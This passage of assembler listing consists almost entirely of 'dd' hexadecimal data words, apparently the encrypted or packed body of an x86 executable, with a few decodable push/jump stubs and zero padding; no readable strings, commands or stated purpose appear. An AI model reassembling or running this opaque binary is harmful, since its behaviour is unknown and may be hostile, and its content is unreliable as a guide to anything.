		dd 0DCFE766h, 0B7D6FAE8h, 2FA74304h, 0FED19327h, 0E30969D5h
		dd 0AF21715h, 1AE76076h, 4305ED3Eh, 0E7E1B1D7h,	0D096666Ah
		dd 32A00600h, 26D1CC8Ch, 0FEC67D58h, 3A000007h,	0F2F67369h
		dd 0A5A92624h, 565AD7D9h, 0D118E84h, 0C2C54240h, 5A582594h
		dd 100AD9DDh, 0C2C48F93h, 77714145h, 0DE44D4FAh, 795E493Eh
		dd 0E0F2673Ah, 51F11610h, 83E9557Eh, 7521FDBBh,	993FA505h
		dd 9B795E45h, 5BE945D9h, 826A8F8Dh, 3C8CB01Ch, 0A0966887h
		dd 1F26C970h, 62C6A8Bh,	2D153A38h, 0FD818399h, 9905795Eh
		dd 15A9A373h, 2DF3C321h, 0CDCB995Bh, 71950167h,	8A7916E7h
		dd 5179B685h, 0E8419231h, 0DDCDEE82h, 197FEB08h, 795EDACBh
		dd 1B3FAB6Dh, 65123C62h, 6A33C7E4h, 6FECE6B6h, 0AD6BD131h
		dd 0C7795E35h, 495B7105h, 31795E35h, 0E3E76466h, 4DAD1913h
		dd 5E3531E7h, 0FFF9C979h, 783AF2DAh, 0F5271BE4h, 0DC795E45h
		dd 2456466Ah, 5B370584h, 880EC7C7h, 3D41BEB8h, 5A4E736Dh
		dd 795EB586h, 52777140h, 0AFD4CE9Eh, 0EAA45DD5h, 93530CA0h
		dd 0BDECAF6Fh, 94F83Eh,	0E3605A2Ah, 117DCh, 10E0E300h
		dd 723DF116h, 0B66024A6h, 0DE444F6Ah, 7F73A63Eh, 0AC12783Ah
		dd 0A7739987h, 0DDFB11A5h, 0DD7F73A6h, 4EEE130Dh, 0C8EE5A7Bh
		dd 26D8FDFBh, 0DD69D331h, 43D73D1Eh, 83E1CD33h,	41037521h
		dd 72117DD3h, 5D14EFBEh, 6ADh, 0A52218E9h, 58D5D3A1h, 9868854h
		dd 0C03D3305h, 74F1EFBCh, 7D42571h, 0B9888C09h,	733E42BFh
		dd 20F0F471h, 0F383A926h, 5E484F8Dh, 0A116E979h, 0F11610E0h
		dd 0F572703Dh, 0C7C191B7h, 2022EEA2h, 855026BAh, 0C5EAECB7h
		dd 2EBEADDDh, 0B2893AEAh, 0FBCBCF4Ch, 0B3808401h, 0FDC90B5h
		dd 8725EC11h, 18E80ECEh, 0E7B48A1Eh, 8716CE9h, 0AEBB3130h
		dd 7, 87DDDBh, 0E0E40000h, 0FDF11610h, 7F7383DBh, 0BE7E37CBh
		dd 5C59269Ah, 77644ED2h, 9A768FBFh, 20F68AF0h, 0D5D95650h
		dd 0EFE3080Ah, 7F736B2Ch, 0B1712ABAh, 56BCBC8Bh, 7F736B86h
		dd 658AF0B2h, 4813E97Dh, 678BC946h, 0CE4AE112h,	0BA62C8FFh
		dd 0BE7F7317h, 0C70296FCh, 0EE1315E0h, 486D6F3Ah, 0A42AE381h
		dd 165AD7D9h, 7F738ABFh, 8C340125h, 72C36E4Ch, 7332D800h
		dd 349A5C7Fh, 31CC6F0Bh, 0FEBC47BBh, 0DD74FFFFh, 313h
		dd 1610E0E4h, 932BFDF1h, 2FA37F73h, 2A047A0Bh, 65F93BA3h
		dd 5626AC65h, 41A1DF5Ch, 0A5BF131Dh, 23952ABDh,	7F73E1F5h
		dd 5329BD7Fh, 70648983h, 7F73E15Ch, 577C7646h, 53BFE4B7h
		dd 218FC1EDh, 0AD972375h, 2D76BFAFh, 0EE7CEA50h, 8EBE7212h
		dd 557FCB3h, 0C2930000h, 7D4B4FCCh, 32FE027Fh, 0DDAFB330h
		dd 99666AE7h, 4F1B1E9Bh, 36B3B17Eh, 0EC696332h,	9E1B1DE8h
		dd 53D0CA9Ah, 0E1379D2Dh, 93795E4Eh, 10E04BC0h,	0B784AA16h
		dd 0B91F21EDh, 486E5C25h, 71597E78h, 3C3A07DDh,	0D20A70D0h
		dd 667F7393h, 0EBEF10A4h, 0A0A4211Bh, 0FCB0D5D3h, 99BA672Fh
		dd 0A1024B52h, 0B14F163Bh, 0AF1438F8h, 0ABD9C7FDh, 865329BDh
		dd 0D9F81C88h, 45816532h, 0B1ACCD61h, 0BB3152C8h, 236EEh
		dd 80E64600h, 7F73BC58h, 48AE1ADCh, 7F73BC90h, 134EE2A4h
		dd 0DD021FF4h, 629419E9h, 0A35CA27Ch, 0FF1D83E3h, 79819D6Dh
		dd 235623B7h, 93BA2029h, 203h, 21FF4C0h, 93E83096h, 78D87F73h
		dd 7393CA12h, 0AEE26E7Fh, 9B56489h, 0D531C52Bh,	0E147A713h
		dd 7F73EA3Bh, 0E6E0AF3Dh, 0DF73D9C1h, 0EDD02216h, 95DB7C62h
		dd 0C2F81CDCh, 39C67C47h
		dd 3FB11A4Ah, 0F4EE96C1h, 0C7E69360h, 0B4D0BA20h, 0FD000001h
		dd 0EEAE80A6h, 0A0459115h, 779C02DBh, 6439FB8Fh, 0A36DD33Fh
		dd 0C57F730Ch, 18EADE03h, 0A37C620Bh, 5227A45Dh, 40BA20C8h
		dd 0BB4F4D1Ah, 182CFh, 1FF4FC00h, 0E0309602h, 847F7393h
		dd 59A99DC2h, 627C6294h, 93E6631Ch, 23BA202Ah, 163h, 8987557Bh
		dd 0ADE87C64h, 0F11610E0h, 7736D3Dh, 542EC0E3h,	0AB3FB8C1h
		dd 98C79A8Ah, 7321EA32h, 66CC8E7Fh, 208994FAh, 0E9AB755Bh
		dd 200CD0C4h, 3177795Bh, 0DE7EFB78h, 2738C159h,	65000000h
		dd 980421F4h, 48421238h, 91A73B23h, 755BBE0Ah, 51456A2Ch
		dd 795B868Fh, 7CF9B2F8h, 0C15943FDh, 0C1B9h, 10E0E600h
		dd 0DD03F116h, 8F0150Bh, 0D3D19E74h, 0CE9AC0AEh, 10353300h
		dd 0B59DC228h, 817B4B21h, 0DED8A85Ch, 8ECA1D61h, 62327F73h
		dd 7C9C0262h, 0F87F7396h, 9614C436h, 5E207F73h,	94668CF8h
		dd 96EA3298h, 0CC8E7F73h, 0C5594166h, 0A00666A4h, 7F739678h
		dd 14DF70FCh, 0B29BB48Fh, 23F6B84Ch, 0A7309602h, 11755DCEh
		dd 63A6B3EDh, 1659597h,	0F14DE14Ch, 0D09DC32Fh,	845155D2h
		dd 3941886h, 4520BE77h,	3108Eh,	857B4C00h, 38360408h, 0E9EBB7BBh
		dd 0A096686Ch, 54521F23h, 3786D4D7h, 0EBEF6C6Ah, 0A1A5221Ch
		dd 5357D4D6h, 0E60C8983h, 4C28F056h, 794C795Eh,	1513E004h
		dd 0CAC49498h, 10E0E44Dh, 0A303F116h, 3DAFB17Dh, 7F73939Fh
		dd 6D43D799h, 0E226A39Dh, 7F73933Fh, 0A92108DBh, 0E7359B19h
		dd 917F73EAh, 962D9FCFh, 0F9C5F929h, 3403DA7Bh,	0E5FC62CEh
		dd 7F755B22h, 0A6D740BDh, 3F1E1382h, 760A968Ch,	6AD6D0A0h
		dd 4EE0BC46h, 0F98D0917h, 0B2AC7C30h, 51724535h, 0EE947FE5h
		dd 0D496755Bh, 74764268h, 0AD3674Fh, 5BEEC216h,	0BE77BD79h
		dd 59A83841h, 4E7EC1h, 0B0D60000h, 0E5BF1EDEh, 34FBBACBh
		dd 2DC1A9CEh, 421F4F2h,	0B2D83898h, 0A775E7E5h,	577F7393h
		dd 80688D87h, 8D406C8h,	65F9E106h, 5BBEC84Fh, 328EA75h
		dd 5B86CD0Fh, 0B770B679h, 59443F3Ah, 0F277C1h, 0ABCF0000h
		dd 49530E41h, 0D611A55Dh, 0F11610E0h, 4D72703Dh, 0AACFC999h
		dd 0AF2C26F6h, 738E986Bh, 0B6B0807Fh, 80D7FB39h, 0D60AC01h
		dd 6D6AC40h, 7447E70Ch,	55572349h, 731435E3h, 2CD1C77Fh
		dd 3739370Bh, 0EB57BD7Fh, 5BF4E685h, 0EAB6DC75h, 0ABDBC3E8h
		dd 0E980CF54h, 6FCB5F4Ch, 0C91D41ADh, 934CFF43h, 6F53DF00h
		dd 52B8B33Eh, 395F9DBEh, 5F476C6Eh, 0D3609CBh, 0EADC3BA1h
		dd 14D67375h, 0EBB582A8h, 8882511Fh, 0E3157B63h, 0BF31816h
		dd 0C4EA28A5h, 23D5FAF4h, 0B400B1D4h, 9A2E941Fh, 8BF9F7C4h
		dd 0B40F1603h, 6AF7AE89h, 0A6000001h, 5E62DFD5h, 11159290h
		dd 0C2C64345h, 797DFAF0h, 2E31AEACh, 0C6C49160h, 7C764549h
		dd 2E30FBFFh, 0E3DDADB1h, 4AB04066h, 795E7292h,	0E05ED3A6h
		dd 7F794913h, 8F0C725Ah, 55C1BB8Bh, 4166602Fh, 3BA4C559h
		dd 980421F4h, 5BBEAB32h, 743FCD75h, 0FF654D72h,	0FAF06F93h
		dd 0F7B1197Ch, 72A69A63h, 4D795B40h, 0A8D14E07h, 0EC15A02h
		dd 93h,	1610E03Bh, 0A6703DF1h, 0F09C11D9h, 0AEB652D4h
		dd 0C9BDE248h, 7F733226h, 97140EDEh, 0A4C9C393h, 0A8143104h
		dd 5B642B42h, 0E8B4D75h, 0BE2A4B1Eh, 75C12258h,	24905273h
		dd 9D3133FEh, 9C9A678Dh, 504E1B1Fh, 0FD62AE2h, 44FBD6B4h
		dd 0A9h, 0A11E14E5h, 54D1CF9Dh,	5828450h, 0BC392F01h, 70EDEBB8h
		dd 3D0216Dh, 0B5848805h, 6F3A3EBBh, 1CECF06Dh, 0EF7FA522h
		dd 5E725389h, 9D12E579h, 794913E0h, 0C725A7Fh, 0C1BB8B8Fh
		dd 655F2F55h, 0E047B0D1h, 3DF11610h, 6F6736Dh, 82A61233h
		dd 517C55C6h, 0B1BAF9Ah, 211F95A5h, 8151DF75h, 48FC2187h
		dd 0FD017E78h, 0A1C7332Dh, 0C7AFD4D6h, 76766A33h, 27CBECDh
		dd 7B4BD18Ah, 0A2C60481h, 1F1B8067h, 0B58B1F20h, 12C6EBE5h
		dd 59254A40h, 0B6860CC5h, 6B3B3FBCh, 0A954C71h,	9C000000h
		dd 6D3F6587h, 0D66A5277h, 190FE09Bh, 767040F4h,	0D0D29D51h
		dd 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h,	9EA06C20h
		dd 0F9F7C579h, 0EC81FFD4h, 4, 89240489h, 405E0h, 0E8830000h
		dd 24048704h, 469B685Ch, 34890000h, 0E0895024h,	405h, 4E88300h
		dd 5C240487h, 68240489h, 62DD69Bh, 8124348Bh, 4C4h, 48B5400h
		dd 4C48124h, 81000000h,	4ECh, 24348900h, 0FF08408Fh, 81582434h
		dd 4C4h, 24348B00h, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFFA9C9Dh, 0E2C9B851h, 0C503062Dh, 0CA18E0FFh, 0A72657BBh
		dd 678C0BC2h, 0E3BE4898h, 269524C4h, 8159187Ch,	24EB7802h
		dd 9 dup(0)
		dd 0BDE9h, 63B58900h, 8B062DE3h, 28241585h, 45858B06h
		dd 8D062808h, 2DE3ADB5h, 0A6858D06h, 0FF062B47h, 0E855C3D0h
		dd 0
		dd 0B3ED815Dh, 83062DE3h, 282415BDh, 850F0106h,	2Ch, 0E363B5FFh
		dd 858B062Dh, 6280845h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 62DE367h
		dd 63B5FF56h, 8B062DE3h, 28084585h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 2DE367B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 2415BD83h, 0F010628h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 62DE38Ch, 20A58589h, 99E90628h
		dd 23000000h, 940ED3C1h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 21h dup(0)
		dd 0B9FE9h, 0E6D96800h,	0DAE9062Dh, 68FFFA9Ah, 62DE7B3h
		dd 0FA9AD0E9h, 0E8CB68FFh, 0C6E9062Dh, 68FFFA9Ah, 62DE944h
		dd 0FA9ABCE9h, 0EA7168FFh, 0B2E9062Dh, 68FFFA9Ah, 62DEAD5h
		dd 0FA9AA8E9h, 0EE0568FFh, 9EE9062Dh, 68FFFA9Ah, 62DEF17h
		dd 0FA9A94E9h, 0D1C798FFh, 84825054h, 35370307h, 0ECE2B4B8h
		dd 0A09E6B6Fh, 83722023h, 373BB8B6h, 0EDF16E68h, 9FA32022h
		dd 3258D5CFh, 769C3CA2h, 0C598795Eh, 1610E050h,	736D3DF1h
		dd 123306F6h, 925540A6h, 9557755Bh, 91587C70h, 9262795Bh
		dd 0EFBF7398h, 6B09D0F5h, 3187F8B2h, 91AD6BD1h,	0C24F795Bh
		dd 0C6545A0Fh, 0AA3E00B8h, 0B31F1AAh, 0DEAB3F3Dh, 0C159F99Bh
		dd 391Bh, 21F44800h, 0AB329804h, 0CD755BBEh, 2EF2E60Bh
		dd 0D8795B86h, 31E50A0Ch, 0DCFC6262h, 58795B86h, 310B3096h
		dd 0D54600B9h, 2059D68Fh, 96C15945h, 11Fh, 0FAFCC8EEh
		dd 10E02B66h, 187E7C4Ah, 57FA88ACh, 4DB7F394h, 5E5D7BE1h
		dd 15D77F73h, 0A6CAB881h, 476A6230h, 3B11A52Bh,	0A40A6A6Eh
		dd 7F73D974h, 0CCC3E00h, 0AE7F73D9h, 0D3BBE0E2h, 0CEF3591Bh
		dd 0B6844A1Ah, 45AB93B8h, 0EAE4B3D9h, 8049DDC5h, 0B638FCCCh
		dd 4849481Ah, 7EBC399Fh, 698E8858h, 9ED7ED81h, 427F73C4h
		dd 0BDFB7872h, 0A7CCCA97h, 85552BBFh, 0F3C6668Bh, 0E20666D2h
		dd 0C8D7E42Bh, 0A4A6725Ch, 131977Fh, 8F352A1Bh,	495FF3DAh
		dd 755B18E6h, 9BD95618h, 86ABA575h, 75480A9Eh, 0E47EE450h
		dd 0CC7375A5h, 49DDD7A6h, 19BF25EDh, 1B7320A3h,	6187F359h
		dd 67BECC94h, 5B245D58h, 32989F5h, 11C73933h, 237320CBh
		dd 0A8ACCD61h, 0AB71D7DBh, 0CD7320CBh, 2837A50Bh, 0C4B40F2Fh
		dd 90D32E9h, 36070000h,	0F1BFC340h, 0A67276F3h,	512327A4h
		dd 0DDADE5Bh, 0C38F920Fh, 0AA2725F2h, 60DDD7A6h, 128F915Ch
		dd 0C7443E0Eh, 6DAB11A1h, 7795E75h, 13E0BF34h, 0C4949815h
		dd 0F4E44DCAh, 32980421h, 755BBEABh, 2B21F319h,	4CB21E06h
		dd 795B868Ch, 0F652E6A8h, 0F91B0F34h, 0C2795B86h, 3346C37Ch
		dd 83C15944h, 0BFh, 4A10E0B0h, 0F4197F7Dh, 20FDE206h, 0F8F77A15h
		dd 0C3C18E64h, 14EDAA9Eh, 45157F73h, 0FACACE4Bh, 683BDB00h
		dd 1F7FDF4Bh, 730C63B9h, 0BF53157Fh, 5B0F06A9h,	63A0C475h
		dd 0B76A1B23h, 68F450E4h, 0C2246CEAh, 0BB389EC4h, 6FDBF8CBh
		dd 759F1A09h, 74426873h, 0C486E276h, 67653258h,	0B786ACEAh
		dd 0C3B98BBDh, 8E8C592Fh, 0F261B20h, 11C8A3B4h,	833h, 0E9665C2Dh
		dd 9C1917E5h, 4DCACC98h, 4817749h, 0B8353300h, 4B18E9B5h
		dd 0FDCCD04Dh, 0B7828603h, 643438B5h, 37C7ED6Ah, 5E740BD1h
		dd 0E55A2D79h, 981513E0h, 5EC4C494h, 7F7393BEh,	2692F8BAh
		dd 0A2363000h, 4F1D4381h, 0E082BD51h, 3DA34C10h, 5AC64A33h
		dd 0FE2E52CEh, 0C72FD92h, 696333E7h, 3F09D7FDh,	664E7371h
		dd 5B4B6C00h, 6126A188h, 0F94C035Ah, 0B3F1278Dh, 0C1837F73h
		dd 0E989EF5Bh, 8B7521CFh, 0CB312FFDh, 6F69395Fh, 0A490B4F2h
		dd 7F69BAD9h, 13B9CF63h, 0D1795D77h, 0BCE1DBABh, 6807A4D4h
		dd 23CBA3BFh, 0DBF8CD8Fh, 5EFC205Eh, 7CAF18C3h,	4724F589h
		dd 0ED597A4Dh, 0DAFFF5C7h, 0E84E5EF2h, 737588D1h, 0AFD56123h
		dd 4EA802Ch, 0F7C2769Ah, 0C0AA4878h, 32C6BC8Eh,	0C789D70h
		dd 447D7FA6h, 1237F9D5h, 0DAAA9F72h, 3807BBE0h,	672D83Eh
		dd 19B2C4A0h, 7AE6A8D3h, 1E8A8454h, 0A03892FAh,	0FF9368B5h
		dd 100ADADEh, 2F7BEFA2h, 89401B14h, 71Bh, 0D14E4415h, 8401FFCDh
		dd 35B2B480h, 0EC695F31h, 0A01D1BE8h, 3300F19Dh, 0E5B4B835h
		dd 9F6A6EEBh, 4C1C209Dh, 1FAFD552h, 5E7B63B9h, 0CD421579h
		dd 980421F4h, 21EF5032h, 8D5A8075h, 0DD9FFB8Fh,	0B37D4B71h
		dd 1379E5E7h, 795E76C5h, 0CA47AD6Fh, 4FE6688Ch,	0AAB15878h
		dd 5E5A9444h, 78DEA079h, 53787A46h, 3301D76Bh, 8C5C1035h
		dd 0BE5B2492h, 0B893BE71h, 6A201h, 0D5CB9C00h, 88865458h
		dd 393B070Bh, 0F0E6B8BCh, 0A4A26F73h, 87762427h, 3B3FBCBAh
		dd 0F1F5726Ch, 0A3A72426h, 365CD9D3h, 7A9840A6h, 0C99C795Eh
		dd 421F454h, 0EF503298h, 72347521h, 0B080A606h,	15A991B6h
		dd 0F8756F3Fh, 0A20E3308h, 5E76683Ch, 0A5CA8C79h, 5E766EB1h
		dd 58115779h, 5F109EDBh, 16D0F4C1h, 2C68C8EFh, 42400E40h
		dd 0B5A1351Dh, 56h, 1E18E70Dh, 427D11F9h, 69361FF4h, 0C492466Bh
		dd 53B9A1C6h, 0F11B81EDh, 0BF7F7393h, 63C9C999h, 7F7393B5h
		dd 397FDBFh, 504A19A7h,	2D52501Eh, 1373DF45h, 73936FADh
		dd 0B347097Fh, 9322F6EAh, 579D7F73h, 2B58219Eh,	75EBB31h
		dd 8B000000h, 191DDh, 84E5E400h, 0B01C390Ch, 5B86734Ah
		dd 37C38575h, 0F5297511h, 0EBDEB12Ah, 0FFE3CB31h, 46481378h
		dd 6DD33921h, 56749B01h, 2CEEC089h, 6F946707h, 99C39D03h
		dd 0DDA5CEA4h, 0C5EAECB7h, 0FFAD6BDDh, 5C7BD55h, 3D0D339Fh
		dd 799FAF43h, 2E32AFA9h, 20F85E5Eh, 54BD55FFh, 0DFBE2C92h
		dd 237A7A1Bh, 5759148h,	9E6F0000h, 59272BA8h, 0EDADE5Bh
		dd 0B98B8F0Ch, 754246C3h, 0ABF7FA77h, 128F8D5Ah, 0C8453F0Eh
		dd 7AF7F9C4h, 2FACA676h, 0C5137909h, 6F795E79h,	10E0279Ch
		dd 0E7992F4Ch, 0C9FBD21Bh, 7499FFF9h, 78E401D4h, 5B2CA712h
		dd 6C3BC975h, 24D6066Ch, 0A062795Bh, 5357D43Ah,	761B8983h
		dd 76BE74C0h, 511E49Bh,	3A0B0000h, 0F5C3C744h, 0AA767AF7h
		dd 55272BA8h, 11DEE25Fh, 0C7939613h, 0AE2B29F6h, 64E1DBAAh
		dd 16939560h, 0CB484212h, 69AF15A5h, 0B795E79h,	10E0C338h
		dd 0E6B37D4Ah, 75DBC3E8h, 6636EA0Fh, 0D280476Ch, 4CE0DEACh
		dd 3D0D934Ch, 0AECBC643h, 8BB312Bh, 3Dh, 6F6D3A60h, 21F4A0DBh
		dd 0D3329804h, 0B5755BA5h, 6DACEF3h, 0C0795BBDh, 0E2E62BF3h
		dd 8A838AFEh, 794BFF24h, 0DEAA5E83h, 6CCFB7DCh,	2697510Ah
		dd 0CFAA27E0h, 0E7C15A18h, 36h,	421F414h, 44403298h, 6224755Bh
		dd 402D0F6h, 0C3904387h, 5828795Bh, 0FECCF25Eh,	474B6C00h
		dd 68567B79h, 0C37AA208h, 0B484795Bh, 0AC4002BAh, 44AD3h
		dd 80A6DA00h, 0A18FB4B2h, 73939D3Bh, 6FD5977Fh,	1D4619DBh
		dd 0BEC08BB1h, 99B41A2Ah, 0FB755BA7h, 0D7A7CD39h, 3CD0B8DDh
		dd 0EFEFBF73h, 5BBF5389h, 0F323E579h, 480B1C59h, 9BC0262Fh
		dd 1E9049C1h, 58BE2A4Bh, 73739A7Dh, 5C60DD9Fh, 0CD6D928Ch
		dd 0D6DD9FAh, 0F61B19E7h, 0AD647A0Eh, 0C7790BD5h, 496E6C39h
		dd 66602F61h, 0CE349400h, 6D0B130Eh, 0DCFC622Ah, 586D0B13h
		dd 0D39C3096h, 2E53511Fh, 8BB0AA7Ah, 0C68039B1h, 0A92FE87Ch
		dd 7262DFD9h, 0E40A769Fh, 82804D17h, 7B0F755Dh,	35D2056Bh
		dd 9C646723h, 3CAEA476h, 67D3339Ch, 4B70D698h, 3401C797h
		dd 7BA09A6Ah, 20082D93h, 25C995BAh, 9E3234FFh, 0A073E59Eh
		dd 51B71783h, 67D3338Bh, 4757EBADh, 0FB143EE1h,	17E406Dh
		dd 0E332DFDh, 0F6C38D5Ah, 22692F8h, 0C612B580h,	4912A614h
		dd 0F4C1E76Fh, 0A96262F6h, 0FAF4C3E9h, 0C6C09066h, 5D865949h
		dd 35FBCBF1h, 73076D63h, 0E2C6FD63h, 9E606B93h,	0C52B8B79h
		dd 5B83E617h, 0CBC19321h, 0C458BEA6h, 8D581EEEh, 8C8E598Bh
		dd 0A1350126h, 82A376E8h, 0C971B016h, 511351ABh, 0D03696D4h
		dd 546B1F08h, 4416A02Ch, 11A697A8h, 714117ABh, 0CE9E5277h
		dd 0F31957D4h
		dd 1D052A24h, 0CFF4C789h, 5612FD63h, 52145E43h,	55E7392Dh
		dd 4F1F4E33h, 0AA7C3055h, 48AA8FB4h, 1E64D58Fh,	0F191E865h
		dd 4825EC71h, 52000000h, 980421F4h, 5BBEAB32h, 53B91975h
		dd 795B8685h, 42676935h, 0AF16A25Ah, 456BBB21h,	0D69FD63h
		dd 0EEB9DF4Bh, 73D9C7ECh, 795BACA5h, 75A70DCFh,	4A13A7A9h
		dd 5BAC8256h, 0FEB7FD79h, 596DF881h, 0F8BEC1h, 0E0EB0000h
		dd 0E46A4C10h, 0DC85647Ch, 0D09D5176h, 0BFED8F08h, 0B51BB9BBh
		dd 5583E949h, 0DF7F7328h, 0CC0891Dh, 2F1D423Ch,	0A3733909h
		dd 369C84A9h, 11363804h, 0EFBF9529h, 7B3478F5h,	9F7F7334h
		dd 5458D5CFh, 0F4EEBE84h, 90F6F4C2h, 0FF8CB6Bh,	0A9AB7741h
		dd 11369C84h, 0D3B0395Fh, 0BD23BDCBh, 0E685EB57h, 0DC755B62h
		dd 0C6EBE9B6h, 2CEE4ADEh, 0D0CA9AC0h, 0E2FC3ABh, 0BE2A4B1Eh
		dd 75D8C158h, 49193F73h, 0AE422A4Fh, 0FE249052h, 0B2B63331h
		dd 2E79E7E5h, 0CAB40FECh, 1E138EFh, 0ADB0000h, 0C5939714h
		dd 7A464AC7h, 25F7FB78h, 0E1AEB22Fh, 376366E3h,	7EFBF9C6h
		dd 34B1AB7Ah, 0E6636530h, 9B1812E2h, 597FE575h,	0DB795E7Dh
		dd 13E09308h, 345A9815h, 0FFD56967h, 37092F2Fh,	9309CF41h
		dd 0E1B17F73h, 76D2FE7h, 0B922779Bh, 71519B5Ah,	134CFD41h
		dd 0E0741EFAh, 21F456BFh, 934098FEh, 32F47F73h,	63FA60CCh
		dd 95755BBEh, 66BAAED3h, 61795B87h, 94E5621Bh, 22C15943h
		dd 0D3h, 1610E04Fh, 0A8703DF1h,	94E7FAh, 0F51A8073h, 73A74401h
		dd 0ACD2327Fh, 0D7BFE4DAh, 73BEB765h, 6BFFC17Fh, 5FCBC595h
		dd 4C716739h, 0ABAFD064h, 0CEBCE1DBh, 46DADCA8h, 2894B184h
		dd 5B88ABC2h, 9F05CD75h, 795BC879h, 6B24D983h, 631B63C3h
		dd 0CC8A20D7h, 75DB0105h, 0CFA2920Fh, 7ADA3AA6h, 658A8454h
		dd 0EACD0B7Dh, 0A567795Bh, 15A9A373h, 75487BFFh, 0CB37F973h
		dd 400ED8A5h, 0CF351D42h, 83814E52h, 0F6B5015h,	0CA815CB4h
		dd 0CFh, 8502F8C9h, 38B5B381h, 0E9666834h, 0A01D13E5h
		dd 54D1CF9Ch, 0E7B40551h, 99686CE9h, 531E229Fh,	0D0D451h
		dd 0D3638906h, 5E7CAF6Dh, 81F6C979h, 981513E0h,	4DCAC494h
		dd 9349AF0Fh, 0A57F7393h, 0E0144FE3h, 82784A10h, 0E309F71Ch
		dd 0AB811517h, 7464E1DBh, 0B81884A1h, 0EE79B894h, 3DAF7035h
		dd 7F73919Fh, 3343D799h, 21EDB1CDh, 0EC11D375h,	0F16E6838h
		dd 0FE231DEDh, 5C45090Ah, 5A138B70h, 8D0A04D4h,	53B9B989h
		dd 705F8485h, 6287EDAFh, 4D1ADCAEh, 0F8C4E94Fh,	4E8EF454h
		dd 0EA705F84h, 2E24F628h, 8D8D2109h, 847E4ED4h,	39330307h
		dd 33002614h, 14C8A135h, 0CF000000h, 9F056587h,	7F739379h
		dd 0AE4B6FFBh, 0A15229E1h, 0E06CA73Bh, 40F4190Fh, 9D517670h
		dd 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh
		dd 0C5799EA0h, 0FFD4F9F7h, 5E08950h, 4,	42Dh, 24048700h
		dd 243C895Ch, 561368h, 243C8900h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 0EC682414h, 89000030h,	52B9240Ch
		dd 0BF0F0E19h, 923FC1Ah, 6859CF31h, 3879h, 83242489h, 5A042404h
		dd 1AB85057h, 2904A62Dh, 58042444h, 8108428Fh, 2D1A0842h
		dd 34FF04A6h, 0C4835A24h, 243C8B04h, 81E38953h,	4C3h, 4C38300h
		dd 5C241C87h, 0FA8F48E9h, 0D4915AFFh, 2DF00BB8h, 0FFC50306h
		dd 0DCF0F9E0h, 733EBA48h, 8A1E3918h, 0B53E7A4Fh, 7C85E230h
		dd 0BED24D5Bh, 6CFAFA40h, 0F96A8D62h, 0F95A9A5Bh, 2525E245h
		dd 0B4B22D36h, 0F8CD6D70h, 1CD7B75Fh, 6B5DA37Bh, 1F105234h
		dd 687B944Bh, 87126775h, 81B0BE65h, 0F56DDE4Dh,	1751426Dh
		dd 0D2B80725h, 0F97C920Dh, 5BD87728h, 83281647h, 0F364DF37h
		dd 56245204h, 0CD37D836h, 7098592Bh, 0CC389C00h, 0E19C1167h
		dd 0F2B87441h, 0D28D8D3Dh, 6A062DF1h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CFEBC355h
		dd 38E895B7h, 892047F1h, 2807158Dh, 85C7FC06h, 62821BDh
		dd 6D88h, 1F359509h, 85C70628h,	628113Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 39C35040h
		dd 0E9F29051h, 13h, 2B1AD546h, 2CB8CBC4h, 44FE144Dh, 1D8333C2h
		dd 0FF9867DEh, 281115B5h, 59D2906h, 0FF062832h,	2814D995h
		dd 0FE806h, 0A6DF0000h,	0F3BC1Fh, 77B368BFh, 62AA03B1h
		dd 5BD89CEh, 5E062800h,	95FF006Ah, 6280465h, 79EBC08Bh
		dd 16A136ECh, 3EDCF751h, 90A6D696h, 4A05C6B1h, 0A31C0469h
		dd 0D7206F21h, 0A60F1A71h, 332AA38Fh, 852DCAEBh, 0B8F80690h
		dd 651B73D3h, 0E5B6F62h, 9B1E8C86h, 91FF1754h, 2A928047h
		dd 0A672B00Ch, 3EE6A774h, 0ED1C4E78h, 0FB2B2F81h, 0F1E60084h
		dd 449A3725h, 0E346642Eh, 52586EA8h, 7E5CA94Bh,	9BBAF30Eh
		dd 694CC070h, 3E4EEA66h, 675BF610h, 0BC5773CFh,	0E369634Bh
		dd 9E9F5h, 4EF70000h, 7BD1h, 0E9000000h, 53Ah, 39B6AC7Dh
		dd 0EC696735h, 9D1A1CE8h, 54D1C799h, 8858350h, 9B685905h
		dd 4D1C209Dh, 7D2D653h,	0B4848805h, 87173DBAh, 5E61FB21h
		dd 60AA7D79h, 496E6C3Ah, 0E092CD61h, 7E7C4A10h,	723F7159h
		dd 7CA20E74h, 5681E8ACh, 0EBA2878Dh, 3A28F185h,	0B8540216h
		dd 0BC50B378h, 9E1B19E6h, 0ABD0CA9Ah, 82D27F7h,	63888654h
		dd 0C0E5DFAFh, 1B403E0Ch, 34360133h, 1DBB210Fh,	177F7352h
		dd 0BE770B55h, 7B34AC04h, 0BF2B25F5h, 3504CA99h, 0FCB0D53Bh
		dd 270F342Ah, 80C2DC1h,	0BABE3B3Dh, 14C8EDEFh, 5A264B45h
		dd 0BC870DC6h, 0FB2022EEh, 1B41AD13h, 432B504Eh, 0BA8A8EAFh
		dd 74A79BC0h, 0A87F7352h, 0ABA9769Ch, 40E2347Bh, 6D011A87h
		dd 0CEF4B46Dh, 9F6C0002h, 0BB31AFDAh, 81DCh, 82A60900h
		dd 32CBAAB7h, 4218AC7Fh, 5F537872h, 7F7365BFh, 50757743h
		dd 0AACFD19Ch, 0CB2E24F6h, 0E0F6B069h, 476B2BE4h, 0F9F820E4h
		dd 0EEBB4F5Fh, 0BB31448Bh, 9B41A707h, 237F73B2h, 0E1A35B51h
		dd 6614Dh, 93B90000h, 0FB36CAC4h, 7A4812E0h, 3DF1167Ch
		dd 984C716Fh, 0F7ABD0C6h, 52062B29h, 7E628785h,	0FDB611Ah
		dd 0D74FA70Dh, 0CCCA981Eh, 0B77B4B4Fh, 60276795h, 64D0361Fh
